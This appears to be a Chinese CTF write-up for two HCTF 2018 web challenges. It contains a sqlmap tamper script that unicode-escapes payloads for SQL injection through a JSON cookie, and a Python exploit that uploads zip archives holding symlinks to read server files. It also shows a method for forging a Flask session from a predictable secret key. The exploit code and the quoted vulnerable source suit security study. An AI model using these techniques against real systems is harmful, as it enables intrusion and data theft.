HCTF 2018 Web Writeup

近来有时间补了一下之前比赛遗留下来的wp

Kzone

仿的一个qq空间的钓鱼站,www.zip下载源码后,尝试各个功能点审计,动态调试后,发现正常登录的功能点不会设置一个名为`login_data`参数的cookie,而这个点可以用来登录, 也算是出题人后来加上的功能点,然后将其当成考点?

登录的时候是不会自动带上这个参数的:
image_1d2pmhrhn131a15m1s633c31ok69.png-331kB
我们手动设置后,然后将其导入到浏览器cookie中,可以用这个cookie登录。

其过程为:
在后台登录前,会包含一个共有的文件:
image_1d2pmo0qfnr8s2vn8h1ghn1ndam.png-35.3kB

这里重点关注member.php:
image_1d2pmp8e0lbi1s0c1iom1jvb5q713.png-177.7kB

使用cookie登录的数据会进行一次json_decode解码:
image_1d2pmq8bs1uai3g8v08vqb17661g.png-279.8kB

这里学习了有的师傅使用了json_decode()会unicode自动解码的特性绕过。

嫖了一个tamper脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()

payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload

python sqlmap.py -r jsondecode --tamper "jsondecodeBypassTamper.py" -v 3 --dbs --dbms=mysql --level 2
image_1d2q0ca8db591201295cagmai1t.png-272.6kB

然鹅预期解是读install.sql,会发现数据表引擎使用的是innodb
MySQL 5.7 之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息。

因为过滤了or,所以布尔盲注的时候利用setcookie次数造成的差异进行注入。

造成布尔盲注的流程:
image_1d2q2gce28uf9qd1unfvff1etr9.png-265.5kB
如果查询用户名不为空,且密码和数据库中哈希进行弱类型比较绕过成功,则登录成功。
如果查询用户名为空,当然此时密码肯定也不会和空相等,所以会有四次set-cookie

当然也可以在密码一直比较错误的情形下利用:
用户名字段查询不到东西(为空):set-cookie四次
用户名字段查询到东西:set-cookoe两次

HideAndSeek

注册后题目是一个上传zip文件的地方,会自动解压并渲染出文件内容。
奇怪的是提交完之后直接就在这样一个
https://206.189.144.143:20000/upload路径下渲染了,也没有具体的文件名等信息。
image_1d2sinmfjerubu1mqb3ubp2n9.png-135.9kB

如果再去访问upload会进行跳转,所以猜测是渲染一次之后就删了。
尝试构造文件名../../../../../../etc/passwd的压缩文件(瞎试的),返回一片空白..
其次压缩文件里有目录结构,也会返回空白。

网上找到一篇文件上传软连接的文章:https://xz.aliyun.com/t/2589

构造软连接压缩文件
image_1d2tn76jklvg18c58u5q8ldabm.png-53kB

zip -y 表示存储链接文件,不会替代源文件
image_1d2tn8g1f13b411lssterek13qp1j.png-11.2kB

上传压缩文件后得到:
image_1d2tn9v15pofqka17t56l3bvm20.png-87.2kB

现在有了一个任意文件读取,接下来得猜测目录,尝试读取proc伪文件
`/proc/self/cwd 读不到东西,猜想原因如下:
image_1d2tqatlg1jjpkre9ginlg1mgo9.png-40.7kB

再试试读环境变量:/proc/self/environ,这里读到了很多相关文件信息
image_1d2tqlpt2935hbp1ug01hc91ogi9.png-48kB

再读一下:/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
image_1d2tr01251e8bmvq5r8p43i8m.png-33.6kB

知识面太窄了,没接触过flask,后来才知道这是源码路径:/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

反正源码就大概在/app目录下,之后就是脑洞和经验了.. wp说由cookie可以猜到是flask,然后提示用的docker,默认在/app/main.py,所以去读/app/main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

import sys

from flask import Flask

app = Flask(__name__)


@app.route("/")
def hello():
version = "{}.{}".format(sys.version_info.major, sys.version_info.minor)
message = "Hello World from Flask in a uWSGI Nginx Docker container with Python {} (default)".format(
version
)
return message


if __name__ == "__main__":
app.run(host="0.0.0.0", debug=True, port=80)

读出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

看到他import了flag,直接去读flag,然鹅..直接被拦了
image_1d2trt9n9125b1u8bcajrf1jl613.png-61.6kB

所以现在思路就是越权成为admin,这里使用的一个固定的随机数种子,uuid.getnode()获得10进制mac地址,可以在/sys/class/net/eth0/address读到mac地址,所以可以伪造session越权称为admin,

读到mac地址:02:42:ac:11:00:02,在线转成10进制:
https://www.vultr.com/tools/mac-converter/?mac_address=02%3A42%3Aac%3A11%3A00%3A02
得到种子:2485377892354

然后本地搭一下flask环境拿到session即可得到flag。

最后看了其他师傅们的wp,还可以读.bash_history等等,这里嫖了一个exp(我全程手动操作的..)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import random
import os
import string
import time
import zipfile
import sys

def generate_zip(path,i):
zip_name = 'moxiaoxi'+str(i)+'.zip'
link_namme = 'moxiaoxi'+str(i)
os.system("ln -s {} {}".format(path,link_namme))
print "ln -s {} {}".format(path,link_namme)
os.system("zip -y {} {}".format(zip_name,link_namme))
with open(zip_name,'r') as f:
data = f.read()
return zip_name,data



def exp(path,i):
zip_name,data = generate_zip(path,i)
# zip_name,data = rewrite(path,i)
session = requests.Session()
paramsPost = {"submit":"Submit"}
paramsMultipart = [('the_file', (zip_name, data, 'application/zip'))]
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36","Referer":"https://hideandseek.2018.hctf.io/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"}
cookies = {"session":"eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI"}
response = session.post("https://hideandseek.2018.hctf.io/upload", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)

print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
if len(response.content)>5:
# print("Response body: %s" % response.content)
with open('out.txt','a+') as f:
f.write('\n\n{}\n\n{}'.format(path,response.content))


if __name__=='__main__':
name = 'test'+''.join(random.sample(string.ascii_letters + string.digits, 4))
exp(sys.argv[1],name)